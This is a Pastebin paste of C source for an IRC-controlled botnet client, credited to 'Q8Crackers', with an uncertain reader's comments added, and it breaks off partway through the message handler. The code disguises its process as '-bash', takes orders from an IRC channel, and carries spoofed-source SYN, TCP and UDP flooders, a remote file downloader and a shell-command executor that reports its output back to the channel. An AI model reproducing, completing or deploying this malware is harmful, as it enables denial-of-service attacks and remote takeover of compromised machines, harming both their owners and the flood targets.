Advertisement
Guest User

Untitled

a guest
Jan 26th, 2012
294
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 36.51 KB
  1. #define STARTUP    
  2. // Q: no idea what IDENT means
  3. #define IDENT          
  4. #define FAKENAME "-bash"   
  5. #define CHAN "channel" 
  6. #define KEY "pass the channel"     
  7. int numservers=1;      
  8. char *servers[] = {    
  9.         "Put Your Server name Here",
  10.     (void*)0
  11. };
  12. /////////////////////////////////////////////////////////////////////////////////
  13. //                      By Q8Crackers Team                                    //
  14. ///////////////////////////////////////////////////////////////////////////////
  15. #include <stdarg.h>
  16. #include <errno.h>
  17. #include <stdio.h>
  18. #include <stdlib.h>
  19. #include <string.h>
  20. #include <sys/types.h>
  21. #include <sys/stat.h>
  22. #include <fcntl.h>
  23. #include <strings.h>
  24. #include <netinet/in.h>
  25. #include <unistd.h>
  26. #include <sys/time.h>
  27. #include <sys/socket.h>
  28. #include <signal.h>
  29. #include <arpa/inet.h>
  30. #include <netdb.h>
  31. #include <time.h>
  32. #include <sys/wait.h>
  33. #include <sys/ioctl.h>
  34. int sock,changeservers=0;
  35. char *server, *chan, *key, *nick, *ident, *user, disabled=0, execfile[256],dispass[256];
  36. unsigned int *pids;
  37. unsigned long spoofs=0, spoofsm=0, numpids=0;
  38.  
  39. // simple function used for simple regular expression evaluation. Return 0 on match.
  40. int strwildmatch(const char* pattern, const char* string) {
  41.     switch(*pattern) {
  42.         case '\0': return *string;
  43.         case '*': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  44.         case '?': return !(*string && !strwildmatch(pattern+1, string+1));
  45.         default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
  46.     }
  47. }
  48.  
  49. // Send(sock, "I am %d years old and my brother is %d", 20, 16); // writes to a socket the message
  50. int Send(int sock, char *words, ...) {
  51.         static char textBuffer[1024];
  52.         va_list args;
  53.         va_start(args, words);
  54.         vsprintf(textBuffer, words, args);
  55.         va_end(args);
  56.         return write(sock,textBuffer,strlen(textBuffer));
  57. }
  58. // if disabled==0 -> forks the process and updates the table of parent processes
  59. // still don't get it - what is fork()ing good for?
  60. int mfork(char *sender) {
  61.     unsigned int parent, *newpids, i;
  62.     if (disabled == 1) {
  63.         Send(sock,"NOTICE %s :Unable to comply.\n",sender);
  64.         return 1;
  65.     }
  66.     parent=fork();
  67.     if (parent <= 0) return parent;
  68.     numpids++;
  69.     newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  70.     for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
  71.     newpids[numpids-1]=parent;
  72.     free(pids);
  73.     pids=newpids;
  74.     return parent;
  75. }
  76.  
  77. // still no idea what spoof is.... is that omething like a fake IP (of a flood sender) ?
  78. unsigned long getspoof() {
  79.     if (!spoofs) return rand();
  80.     if (spoofsm == 1) return ntohl(spoofs);
  81.     return ntohl(spoofs+(rand() % spoofsm)+1);
  82. }
  83.  
  84. // trim()s th string - removes \n-s and \r-s from the end
  85. void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
  86.  
  87. // generates a random string [4,8] chars long
  88. char *makestring() {
  89.     char *tmp;
  90.     int len=(rand()%5)+4,i;
  91.     FILE *file;
  92.     tmp=(char*)malloc(len+1);
  93.     memset(tmp,0,len+1);
  94.     if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
  95.     else {
  96.         int a=((rand()*rand())%45402)+1;
  97.         char buf[1024];
  98.         for (i=0;i<a;i++) fgets(buf,1024,file);
  99.         memset(buf,0,1024);
  100.         fgets(buf,1024,file);
  101.         filter(buf);
  102.         memcpy(tmp,buf,len);
  103.         fclose(file);
  104.     }
  105.     return tmp;
  106. }
  107. // no idea :-(
  108. void identd() {
  109.         int sockname,sockfd,sin_size,tmpsock,i;
  110.         struct sockaddr_in my_addr,their_addr;
  111.         char szBuffer[1024];
  112.         if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
  113.         my_addr.sin_family = AF_INET;
  114.         my_addr.sin_port = htons(113);
  115.         my_addr.sin_addr.s_addr = INADDR_ANY;
  116.         memset(&(my_addr.sin_zero), 0, 8);
  117.         if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
  118.         if (listen(sockfd, 1) == -1) return;
  119.         if (fork() == 0) return;
  120.         sin_size = sizeof(struct sockaddr_in);
  121.         if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
  122.         for(;;) {
  123.                 fd_set bla;
  124.                 struct timeval timee;
  125.                 FD_ZERO(&bla);
  126.                 FD_SET(tmpsock,&bla);
  127.                 timee.tv_sec=timee.tv_usec=60;
  128.                 if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
  129.                 if (FD_ISSET(tmpsock,&bla)) break;
  130.         }
  131.         i = recv(tmpsock,szBuffer,1024,0);
  132.         if (i <= 0 || i >= 20) exit(0);
  133.         szBuffer[i]=0;
  134.         if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
  135.         if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
  136.     Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
  137.         close(tmpsock);
  138.         close(sockfd);
  139.         exit(0);
  140. }
  141. long pow(long a, long b) {
  142.         if (b == 0) return 1;
  143.         if (b == 1) return a;
  144.         return a*pow(a,b-1);
  145. }
  146. // count the checksum used in TCP headers...
  147. u_short in_cksum(u_short *addr, int len) {
  148.         register int nleft = len;
  149.         register u_short *w = addr;
  150.         register int sum = 0;
  151.         u_short answer =0;
  152.         while (nleft > 1) {
  153.                 sum += *w++;
  154.                 nleft -= 2;
  155.         }
  156.         if (nleft == 1) {
  157.                 *(u_char *)(&answer) = *(u_char *)w;
  158.                 sum += answer;
  159.         }
  160.         sum = (sum >> 16) + (sum & 0xffff);
  161.         sum += (sum >> 16);
  162.         answer = ~sum;
  163.         return(answer);
  164. }
  165. // explained thoroughly in help() function later on :-)
  166. void get(int sock, char *sender, int argc, char **argv) {
  167.         int sock2,i,d;
  168.         struct sockaddr_in server;
  169.         unsigned long ipaddr;
  170.         char buf[1024];
  171.         FILE *file;
  172.         unsigned char bufm[4096];
  173.         if (mfork(sender) != 0) return;
  174.         if (argc < 2) {
  175.                 Send(sock,"NOTICE %s :GET <host> <save as>\n",sender);
  176.                 exit(0);
  177.         }
  178.         if ((sock2 = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  179.                 Send(sock,"NOTICE %s :Unable to create socket.\n",sender);
  180.                 exit(0);
  181.         }
  182.         if (!strncmp(argv[1],"http://",7)) strcpy(buf,argv[1]+7);
  183.         else strcpy(buf,argv[1]);
  184.         for (i=0;i<strlen(buf) && buf[i] != '/';i++);
  185.         buf[i]=0;
  186.         server.sin_family = AF_INET;
  187.         server.sin_port = htons(80);
  188.         if ((ipaddr = inet_addr(buf)) == -1) {
  189.                 struct hostent *hostm;
  190.                 if ((hostm=gethostbyname(buf)) == NULL) {
  191.                         Send(sock,"NOTICE %s :Unable to resolve address.\n",sender);
  192.                         exit(0);
  193.                 }
  194.                 memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length);
  195.         }
  196.         else server.sin_addr.s_addr = ipaddr;
  197.         memset(&(server.sin_zero), 0, 8);
  198.         if (connect(sock2,(struct sockaddr *)&server, sizeof(server)) != 0) {
  199.                 Send(sock,"NOTICE %s :Unable to connect to http.\n",sender);
  200.                 exit(0);
  201.         }
  202.  
  203.         Send(sock2,"GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n",buf+i+1,buf);
  204.         Send(sock,"NOTICE %s :Receiving file.\n",sender);
  205.         file=fopen(argv[2],"wb");
  206.         while(1) {
  207.                 int i;
  208.                 if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
  209.                 if (i < 4096) bufm[i]=0;
  210.                 for (d=0;d<i;d++) if (!strncmp(bufm+d,"\r\n\r\n",4)) {
  211.                         for (d+=4;d<i;d++) fputc(bufm[d],file);
  212.                         goto done;
  213.                 }
  214.         }
  215.         done:
  216.         Send(sock,"NOTICE %s :Saved as %s\n",sender,argv[2]);
  217.         while(1) {
  218.                 int i,d;
  219.                 if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
  220.                 if (i < 4096) bufm[i]=0;
  221.                 for (d=0;d<i;d++) fputc(bufm[d],file);
  222.         }
  223.         fclose(file);
  224.         close(sock2);
  225.         exit(0);
  226. }
  227. void getspoofs(int sock, char *sender, int argc, char **argv) {
  228.         unsigned long a=spoofs,b=spoofs+(spoofsm-1);
  229.         if (spoofsm == 1) Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0]);
  230.         else Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0],((u_char*)&b)[3],((u_char*)&b)[2],((u_char*)&b)[1],((u_char*)&b)[0]);
  231. }
  232. void version(int sock, char *sender, int argc, char **argv) {
  233.         Send(sock,"NOTICE %s :L33tness by befcake\n",sender);
  234. }
  235. void nickc(int sock, char *sender, int argc, char **argv) {
  236.         if (argc != 1) {
  237.                 Send(sock,"NOTICE %s :NICK <nick>\n",sender);
  238.                 return;
  239.         }
  240.         if (strlen(argv[1]) >= 10) {
  241.                 Send(sock,"NOTICE %s :Nick cannot be larger than 9 characters.\n",sender);
  242.                 return;
  243.         }
  244.         Send(sock,"NICK %s\n",argv[1]);
  245. }
  246. void disable(int sock, char *sender, int argc, char **argv) {
  247.         if (argc != 1) {
  248.                 Send(sock,"NOTICE %s :DISABLE <pass>\n",sender);
  249.                 Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
  250.                 return;
  251.         }
  252.     if (disabled) {
  253.         Send(sock,"NOTICE %s :Already disabled.\n",sender);
  254.         return;
  255.     }
  256.     if (strlen(argv[1]) > 254) {
  257.                 Send(sock,"NOTICE %s :Password too long! > 254\n",sender);
  258.                 return;
  259.     }
  260.         disabled=1;
  261.     memset(dispass,0,256);
  262.     strcpy(dispass,argv[1]);
  263.     Send(sock,"NOTICE %s :Disable sucessful.\n");
  264. }
  265. void enable(int sock, char *sender, int argc, char **argv) {
  266.         if (argc != 1) {
  267.                 Send(sock,"NOTICE %s :ENABLE <pass>\n",sender);
  268.                 Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
  269.                 return;
  270.         }
  271.     if (!disabled) {
  272.         Send(sock,"NOTICE %s :Already enabled.\n",sender);
  273.         return;
  274.     }
  275.     if (strcasecmp(dispass,argv[1])) {
  276.         Send(sock,"NOTICE %s :Wrong password\n",sender);
  277.         return;
  278.     }
  279.         disabled=0;
  280.     Send(sock,"NOTICE %s :Password correct.\n",sender);
  281. }
  282. // ???
  283. void spoof(int sock, char *sender, int argc, char **argv) {
  284.         char ip[256];
  285.         int i, num;
  286.         unsigned long uip;
  287.         if (argc != 1) {
  288.                 Send(sock,"NOTICE %s :Removed all spoofs\n",sender);
  289.                 spoofs=0;
  290.                 spoofsm=0;
  291.                 return;
  292.         }
  293.         if (strlen(argv[1]) > 16) {
  294.                 Send(sock,"NOTICE %s :What kind of subnet address is that? Do something like: 169.40\n",sender);
  295.                 return;
  296.         }
  297.         strcpy(ip,argv[1]);
  298.         if (ip[strlen(ip)-1] == '.') ip[strlen(ip)-1] = 0;
  299.         for (i=0, num=1;i<strlen(ip);i++) if (ip[i] == '.') num++;
  300.         num=-(num-4);
  301.         for (i=0;i<num;i++) strcat(ip,".0");
  302.         uip=inet_network(ip);
  303.         if (num == 0) spoofsm=1;
  304.         else spoofsm=pow(256,num);
  305.         spoofs=uip;
  306. }
  307. struct iphdr {
  308.         unsigned int ihl:4, version:4;
  309.         unsigned char tos;
  310.         unsigned short tot_len;
  311.         unsigned short id;
  312.         unsigned short frag_off;
  313.         unsigned char ttl;
  314.         unsigned char protocol;
  315.         unsigned short check;
  316.         unsigned long saddr;
  317.         unsigned long daddr;
  318. };
  319. struct udphdr {
  320.         unsigned short source;
  321.         unsigned short dest;
  322.         unsigned short len;
  323.         unsigned short check;
  324. };
  325. struct tcphdr {
  326.         unsigned short source;
  327.         unsigned short dest;
  328.         unsigned long seq;
  329.         unsigned long ack_seq;
  330.         unsigned short res1:4, doff:4;
  331.     unsigned char fin:1, syn:1, rst:1, psh:1, ack:1, urg:1, ece:1, cwr:1;
  332.         unsigned short window;
  333.         unsigned short check;
  334.         unsigned short urg_ptr;
  335. };
  336. struct send_tcp {
  337.     struct iphdr ip;
  338.     struct tcphdr tcp;
  339.     char buf[20];
  340. };
  341. struct pseudo_header {
  342.     unsigned int source_address;
  343.     unsigned int dest_address;
  344.     unsigned char placeholder;
  345.     unsigned char protocol;
  346.     unsigned short tcp_length;
  347.     struct tcphdr tcp;
  348.     char buf[20];
  349. };
  350. unsigned int host2ip(char *sender,char *hostname) {
  351.         static struct in_addr i;
  352.         struct hostent *h;
  353.         if((i.s_addr = inet_addr(hostname)) == -1) {
  354.                 if((h = gethostbyname(hostname)) == NULL) {
  355.                         Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
  356.                         exit(0);
  357.                 }
  358.                 bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
  359.         }
  360.         return i.s_addr;
  361. }
  362. void udp(int sock, char *sender, int argc, char **argv) {
  363.         unsigned int port,i=0;
  364.         unsigned long psize,target,secs;
  365.         struct sockaddr_in s_in;
  366.         struct iphdr *ip;
  367.     struct udphdr *udp;
  368.     char buf[1500],*str;
  369.         int get;
  370.         time_t start=time(NULL);
  371.         if (mfork(sender) != 0) return;
  372.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  373.         if (argc < 3) {
  374.                 Send(sock,"NOTICE %s :UDP <target> <port> <secs>\n",sender);
  375.                 exit(1);
  376.         }
  377.         target = host2ip(sender,argv[1]);
  378.         port = atoi(argv[2]);
  379.         secs = atol(argv[3]);
  380.         ip=(void*)buf;
  381.     udp=(void*)(buf+sizeof(struct iphdr));
  382.         str=(void*)(buf+sizeof(struct iphdr)+sizeof(struct udphdr));
  383.         memset(str,10,1500-(sizeof(struct iphdr)+sizeof(struct udphdr)));
  384.         Send(sock,"NOTICE %s :Packeting %s.\n",sender,argv[1]);
  385.         ip->ihl = 5;
  386.         ip->version = 4;
  387.         ip->tos = 0;
  388.         ip->tot_len = 1500;
  389.         ip->frag_off = 0;
  390.         ip->protocol = 17;
  391.         ip->ttl = 64;
  392.         ip->daddr = target;
  393.         udp->len = htons(psize);
  394.         s_in.sin_family  = AF_INET;
  395.         s_in.sin_addr.s_addr = target;
  396.         for (;;) {
  397.                 udp->source = rand();
  398.                 if (port) udp->dest = htons(port);
  399.                 else udp->dest = rand();
  400.                 udp->check = in_cksum((u_short *)buf,1500);
  401.                 ip->saddr = getspoof();
  402.                 ip->id = rand();
  403.                 ip->check = in_cksum((u_short *)buf,1500);
  404.                 s_in.sin_port = udp->dest;
  405.                 sendto(get,buf,1500,0,(struct sockaddr *)&s_in,sizeof(s_in));
  406.                 if (i >= 50) {
  407.                         if (time(NULL) >= start+secs) exit(0);
  408.                         i=0;
  409.                 }
  410.                 i++;
  411.         }
  412. }
  413. void pan(int sock, char *sender, int argc, char **argv) {
  414.         struct send_tcp send_tcp;
  415.         struct pseudo_header pseudo_header;
  416.         struct sockaddr_in sin;
  417.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  418.         unsigned int psize=20, source, dest, check;
  419.         unsigned long saddr, daddr,secs;
  420.         int get;
  421.         time_t start=time(NULL);
  422.         if (mfork(sender) != 0) return;
  423.         if (argc < 3) {
  424.                 Send(sock,"NOTICE %s :PAN <target> <port> <secs>\n",sender);
  425.                 exit(1);
  426.         }
  427.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  428.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  429.         daddr=host2ip(sender,argv[1]);
  430.         secs=atol(argv[3]);
  431.         Send(sock,"NOTICE %s :Panning %s.\n",sender,argv[1]);
  432.         send_tcp.ip.ihl = 5;
  433.         send_tcp.ip.version = 4;
  434.         send_tcp.ip.tos = 16;
  435.         send_tcp.ip.frag_off = 64;
  436.         send_tcp.ip.ttl = 64;
  437.         send_tcp.ip.protocol = 6;
  438.         send_tcp.tcp.ack_seq = 0;
  439.         send_tcp.tcp.doff = 10;
  440.         send_tcp.tcp.res1 = 0;
  441.         send_tcp.tcp.cwr = 0;
  442.         send_tcp.tcp.ece = 0;
  443.         send_tcp.tcp.urg = 0;
  444.         send_tcp.tcp.ack = 0;
  445.         send_tcp.tcp.psh = 0;
  446.         send_tcp.tcp.rst = 0;
  447.         send_tcp.tcp.fin = 0;
  448.         send_tcp.tcp.syn = 1;
  449.         send_tcp.tcp.window = 30845;
  450.         send_tcp.tcp.urg_ptr = 0;
  451.         dest=htons(atoi(argv[2]));
  452.         while(1) {
  453.                 source=rand();
  454.                 if (atoi(argv[2]) == 0) dest=rand();
  455.                 saddr=getspoof();
  456.                 send_tcp.ip.tot_len = htons(40+psize);
  457.                 send_tcp.ip.id = rand();
  458.                 send_tcp.ip.saddr = saddr;
  459.                 send_tcp.ip.daddr = daddr;
  460.                 send_tcp.ip.check = 0;
  461.                 send_tcp.tcp.source = source;
  462.                 send_tcp.tcp.dest = dest;
  463.                 send_tcp.tcp.seq = rand();
  464.                 send_tcp.tcp.check = 0;
  465.                 sin.sin_family = AF_INET;
  466.                 sin.sin_port = dest;
  467.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  468.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  469.                 check = rand();
  470.                 send_tcp.buf[9]=((char*)&check)[0];
  471.                 send_tcp.buf[10]=((char*)&check)[1];
  472.                 send_tcp.buf[11]=((char*)&check)[2];
  473.                 send_tcp.buf[12]=((char*)&check)[3];
  474.                 pseudo_header.source_address = send_tcp.ip.saddr;
  475.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  476.                 pseudo_header.placeholder = 0;
  477.                 pseudo_header.protocol = IPPROTO_TCP;
  478.                 pseudo_header.tcp_length = htons(20+psize);
  479.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  480.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  481.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  482.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  483.                 if (a >= 50) {
  484.                         if (time(NULL) >= start+secs) exit(0);
  485.                         a=0;
  486.                 }
  487.                 a++;
  488.         }
  489.         close(get);
  490.         exit(0);
  491. }
  492. void tsunami(int sock, char *sender, int argc, char **argv) {
  493.         struct send_tcp send_tcp;
  494.         struct pseudo_header pseudo_header;
  495.         struct sockaddr_in sin;
  496.         unsigned int psize=1400, check,i;
  497.         unsigned long saddr, daddr,secs;
  498.         int get;
  499.         time_t start=time(NULL);
  500.         if (mfork(sender) != 0) return;
  501.         if (argc < 2) {
  502.                 Send(sock,"NOTICE %s :TSUNAMI <target> <secs>\n",sender);
  503.                 exit(1);
  504.         }
  505.         secs=atol(argv[2]);
  506.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  507.         srand(time(NULL) ^ getpid());
  508.         memset(send_tcp.buf,rand(),psize);
  509.         daddr=host2ip(sender,argv[1]);
  510.         Send(sock,"NOTICE %s :Tsunami heading for %s.\n",sender,argv[1]);
  511.         while(1) {
  512.                 saddr=getspoof();
  513.                 send_tcp.ip.ihl = 5;
  514.                 send_tcp.ip.version = 4;
  515.                 send_tcp.ip.tos = 16;
  516.                 send_tcp.ip.tot_len = htons(40+psize);
  517.                 send_tcp.ip.id = rand();
  518.                 send_tcp.ip.frag_off = 64;
  519.                 send_tcp.ip.ttl = 64;
  520.                 send_tcp.ip.protocol = 6;
  521.                 send_tcp.ip.check = 0;
  522.                 send_tcp.ip.saddr = saddr;
  523.                 send_tcp.ip.daddr = daddr;
  524.                 send_tcp.tcp.source = rand();
  525.                 send_tcp.tcp.dest = rand();
  526.                 send_tcp.tcp.seq = rand();
  527.                 send_tcp.tcp.ack_seq = rand();
  528.                 send_tcp.tcp.doff = 5;
  529.                 send_tcp.tcp.res1 = 0;
  530.                 send_tcp.tcp.cwr = 0;
  531.                 send_tcp.tcp.ece = 0;
  532.                 send_tcp.tcp.urg = 0;
  533.                 send_tcp.tcp.ack = 1;
  534.                 send_tcp.tcp.psh = 1;
  535.                 send_tcp.tcp.rst = 0;
  536.                 send_tcp.tcp.fin = 0;
  537.                 send_tcp.tcp.syn = 0;
  538.                 send_tcp.tcp.window = 30845;
  539.                 send_tcp.tcp.check = 0;
  540.                 send_tcp.tcp.urg_ptr = 0;
  541.                 sin.sin_family = AF_INET;
  542.                 sin.sin_port = send_tcp.tcp.dest;
  543.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  544.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  545.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  546.                 pseudo_header.source_address = send_tcp.ip.saddr;
  547.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  548.                 pseudo_header.placeholder = 0;
  549.                 pseudo_header.protocol = IPPROTO_TCP;
  550.                 pseudo_header.tcp_length = htons(20+psize);
  551.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  552.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  553.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  554.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  555.                 if (i >= 50) {
  556.                         if (time(NULL) >= start+secs) break;
  557.                         i=0;
  558.                 }
  559.                 i++;
  560.         }
  561.         close(get);
  562.         exit(0);
  563. }
  564. void unknown(int sock, char *sender, int argc, char **argv) {
  565.     int flag=1,fd,i;
  566.     unsigned long secs;
  567.     char *buf=(char*)malloc(9216);
  568.     struct hostent *hp;
  569.     struct sockaddr_in in;
  570.         time_t start=time(NULL);
  571.         if (mfork(sender) != 0) return;
  572.         if (argc < 2) {
  573.                 Send(sock,"NOTICE %s :UNKNOWN <target> <secs>\n",sender);
  574.                 exit(1);
  575.         }
  576.         secs=atol(argv[2]);
  577.     memset((void*)&in,0,sizeof(struct sockaddr_in));
  578.     in.sin_addr.s_addr=host2ip(sender,argv[1]);
  579.     in.sin_family = AF_INET;
  580.         Send(sock,"NOTICE %s :Unknowning %s.\n",sender,argv[1]);
  581.     while(1) {
  582.         in.sin_port = rand();
  583.         if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
  584.         else {
  585.             flag=1;
  586.             ioctl(fd,FIONBIO,&flag);
  587.             sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
  588.             close(fd);
  589.         }
  590.                 if (i >= 50) {
  591.                         if (time(NULL) >= start+secs) break;
  592.                         i=0;
  593.                 }
  594.                 i++;
  595.     }
  596.         close(fd);
  597.     exit(0);
  598. }
  599. void move(int sock, char *sender, int argc, char **argv) {
  600.         if (argc < 1) {
  601.                 Send(sock,"NOTICE %s :MOVE <server>\n",sender);
  602.                 exit(1);
  603.         }
  604.     server=strdup(argv[1]);
  605.     changeservers=1;
  606.     close(sock);
  607. }
  608. // ad TSUNAMI - packeter is a flooder, right? Whats the difference between PAN and TSUNAMI?
  609. // PAN and a specific port of operatio... anything else?
  610. void help(int sock, char *sender, int argc, char **argv) {
  611.         if (mfork(sender) != 0) return;
  612.         Send(sock,"NOTICE %s :TSUNAMI <target> <secs>                          = Special packeter that wont be blocked by most firewalls\n",sender); sleep(2);
  613.         Send(sock,"NOTICE %s :PAN <target> <port> <secs>                       = An advanced syn flooder that will kill most network drivers\n",sender); sleep(2);
  614.         Send(sock,"NOTICE %s :UDP <target> <port> <secs>                       = A udp flooder\n",sender); sleep(2);
  615.         Send(sock,"NOTICE %s :UNKNOWN <target> <secs>                          = Another non-spoof udp flooder\n",sender); sleep(2);
  616.  
  617.         Send(sock,"NOTICE %s :NICK <nick>                                      = Changes the nick of the client\n",sender); sleep(2);
  618.     Send(sock,"NOTICE %s :SERVER <server>                                  = Changes servers\n",sender); sleep(2);
  619.         Send(sock,"NOTICE %s :GETSPOOFS                                        = Gets the current spoofing\n",sender); sleep(2);
  620.         Send(sock,"NOTICE %s :SPOOFS <subnet>                                  = Changes spoofing to a subnet\n",sender); sleep(2);
  621.  
  622.         Send(sock,"NOTICE %s :DISABLE                                          = Disables all packeting from this client\n",sender); sleep(2);
  623.         Send(sock,"NOTICE %s :ENABLE                                           = Enables all packeting from this client\n",sender); sleep(2);
  624.  
  625.         Send(sock,"NOTICE %s :KILL                                             = Kills the client\n",sender); sleep(2);
  626.     Send(sock,"NOTICE %s :GET <http address> <save as>                     = Downloads a file off the web and saves it onto the hd\n",sender); sleep(2);
  627.         Send(sock,"NOTICE %s :VERSION                                          = Requests version of client\n",sender); sleep(2);
  628.         Send(sock,"NOTICE %s :KILLALL                                          = Kills all current packeting\n",sender); sleep(2);
  629.         Send(sock,"NOTICE %s :HELP                                             = Displays this\n",sender);
  630.  
  631.     Send(sock,"NOTICE %s :IRC <command>                                    = Sends this command to the server\n",sender); sleep(2);
  632.     Send(sock,"NOTICE %s :SH <command>                                     = Executes a command\n",sender); sleep(2);
  633.         exit(0);
  634. }
  635. // kills all the Q8BOT processes (myself + children)
  636. void killall(int sock, char *sender, int argc, char **argv) {
  637.         unsigned long i;
  638.         for (i=0;i<numpids;i++) {
  639.                 if (pids[i] != 0 && pids[i] != getpid()) {
  640.                         if (sender) Send(sock,"NOTICE %s :Killing pid %d.\n",sender,pids[i]);
  641.                         kill(pids[i],9);
  642.                 }
  643.         }
  644. }
  645. void killd(int sock, char *sender, int argc, char **argv) {
  646.     if (!disable) kill(0,9);
  647.     else Send(sock,"NOTICE %s :Unable to comply.\n");
  648. }
  649. struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
  650.     { "TSUNAMI", tsunami },
  651.         { "PAN", pan },
  652.         { "UDP", udp },
  653.     { "UNKNOWN", unknown },
  654.  
  655.         { "NICK", nickc },
  656.         { "SERVER", move },
  657.     { "GETSPOOFS", getspoofs },
  658.         { "SPOOFS", spoof },
  659.  
  660.     { "DISABLE", disable },
  661.         { "ENABLE", enable },
  662.  
  663.         { "KILL", killd },
  664.     { "GET", get },
  665.         { "VERSION", version },
  666.         { "KILLALL", killall },
  667.         { "HELP", help },
  668. { (char *)0, (void (*)(int,char *,int,char **))0 } };
  669.  
  670. // dunno :(
  671. void _PRIVMSG(int sock, char *sender, char *str) {
  672.         int i;
  673.         char *to, *message;
  674.         for (i=0;i<strlen(str) && str[i] != ' ';i++);
  675.         str[i]=0;
  676.         to=str;
  677.         message=str+i+2;
  678.         for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  679.         sender[i]=0;
  680.         if (*message == '!' && !strcasecmp(to,chan)) {
  681.                 char *params[12], name[1024]={0};
  682.                 int num_params=0, m;
  683.                 message++;
  684.                 for (i=0;i<strlen(message) && message[i] != ' ';i++);
  685.                 message[i]=0;
  686.                 if (strwildmatch(message,nick)) return;
  687.                 message+=i+1;
  688.                 if (!strncmp(message,"IRC ",4)) if (disabled) Send(sock,"NOTICE %s :Unable to comply.\n",sender); else Send(sock,"%s\n",message+4);
  689.                 if (!strncmp(message,"SH ",3)) {
  690.                         char buf[1024];
  691.                         FILE *command;
  692.                         if (mfork(sender) != 0) return;
  693.                         memset(buf,0,1024);
  694.                         sprintf(buf,"export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s",message+3);
  695.                         command=popen(buf,"r");
  696.                         while(!feof(command)) {
  697.                                 memset(buf,0,1024);
  698.                                 fgets(buf,1024,command);
  699.                                 Send(sock,"NOTICE %s :%s\n",sender,buf);
  700.                                 sleep(1);
  701.                         }
  702.                         pclose(command);
  703.                         exit(0);
  704.                 }
  705.                 m=strlen(message);
  706.                 for (i=0;i<m;i++) {
  707.                         if (*message == ' ' || *message == 0) break;
  708.                         name[i]=*message;
  709.                         message++;
  710.                 }
  711.                 for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
  712.                 num_params++;
  713.                 if (num_params > 10) num_params=10;
  714.                 params[0]=name;
  715.                 params[num_params+1]="\0";
  716.                 m=1;
  717.                 while (*message != 0) {
  718.                         message++;
  719.                         if (m >= num_params) break;
  720.                         for (i=0;i<strlen(message) && message[i] != ' ';i++);
  721.                         params[m]=(char*)malloc(i+1);
  722.                         strncpy(params[m],message,i);
  723.                         params[m][i]=0;
  724.                         m++;
  725.                         message+=i;
  726.                 }
